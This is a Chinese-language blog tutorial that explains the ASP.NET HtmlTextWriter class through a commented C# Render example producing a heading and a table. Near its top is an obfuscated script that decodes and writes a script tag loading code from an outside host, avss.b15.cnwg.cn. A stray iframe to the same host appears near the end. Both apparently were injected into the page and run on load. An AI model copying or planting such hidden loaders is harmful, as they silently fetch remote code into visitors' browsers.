HtmlTextWriter 类

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
HtmlTextWriter 类




 HtmlTextWriter 类
命名空间: System.Web.UI
此类通常用于将 HTML 呈现给 Web 窗体页。当重写 Control.Render、WebControl.AddAttributesToRender 以及其他将内容写入 Web 页的 ASP.NET 服务器控件方法时,将该类用作输出流。
示例
下面的示例说明如何使用 HtmlTextWriter 类的成员生成作为 h1 元素(后跟一个三行五列的表)呈现在浏览器中的 HTML。
下面是一个例子,我添加了些注释,好让大家理解各种方法的作用;)
[C#]
<script language="C#" runat="server">
    const int maxRows = 3;
    const int maxCols = 5;
    protected override void Render(HtmlTextWriter writer) {
 //此方法自动写出 HTML 元素的开始标记的结束字符 (>)。对没有属性的 HTML 元素使用此方法。
 //此方法适合于html,hr等元素
 //下句输出<html>
        writer.WriteFullBeginTag("html");
        //将行结束符写入 HTML 文本流。
 writer.WriteLine();
        writer.WriteFullBeginTag("body");
        writer.WriteLine();
        writer.WriteFullBeginTag("h1");
        writer.Write("Using the HtmlTextWriterClass");
 //tagName(h1)表示要写出其结束标记的 HTML 元素。
 //下句输出</h1>
 writer.WriteEndTag("h1");
        writer.WriteLine();
        // ...
     
  /*
  将与 key 参数所指定的 HtmlTextWriterStyle 值关联的 HTML 样式属性和此属性的值添加到 HtmlTextWriter 输出流。
  [C#] public virtual void AddStyleAttribute(HtmlTextWriterStyle, string);
  将指定的 HTML 样式属性和它的值添加到 HtmlTextWriter 输出流。
  [C#] public virtual void AddStyleAttribute(string, string);
  将指定的 HTML 样式属性连同它的值一起添加到 HtmlTextWriter 输出流。
  [C#] protected virtual void AddStyleAttribute(string, string, HtmlTextWriterStyle);
  */
  //下面一句写下<table
  writer.WriteBeginTag("table");
  writer.AddStyleAttribute(HtmlTextWriterStyle.FontWeight, "bold");
        writer.AddStyleAttribute(HtmlTextWriterStyle.FontFamily, "verdana");
        writer.AddStyleAttribute(HtmlTextWriterStyle.FontSize, "14pt");
        writer.WriteAttribute("border","1");
        //这一句输出 >
  writer.Write(HtmlTextWriter.TagRightChar);
        writer.WriteLine();
        writer.Indent++;
        for (int i=0; i<maxRows; i++) {
            writer.WriteFullBeginTag("tr");
            writer.WriteLine();
   //Indent 获取或设置在 HTML 的行首缩进的空格数。
            writer.Indent++;
           
   //<td valing='top' bgcolor='lightblue'>Cell(2,4)</td>
   for (int j=0; j<maxCols; j++) {
                writer.WriteBeginTag("td");
                writer.WriteAttribute("valign","top");
                writer.WriteAttribute("bgcolor","lightblue");
                writer.Write(HtmlTextWriter.TagRightChar);
    // Cell (i,j)
                writer.Write("Cell (" + i.ToString() + "," + j.ToString() + ")" );
    
                writer.WriteEndTag("td");
                writer.WriteLine();
            }
   
            writer.Indent--;
            writer.WriteEndTag("tr");
            writer.WriteLine();
        }
        writer.Indent--;
        // ...</table>
        writer.WriteEndTag("table");
        writer.WriteLine();
  //</body>
        writer.WriteEndTag("body");
        writer.WriteLine();
  // </html>
        writer.WriteEndTag("html");
    }
</script>
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值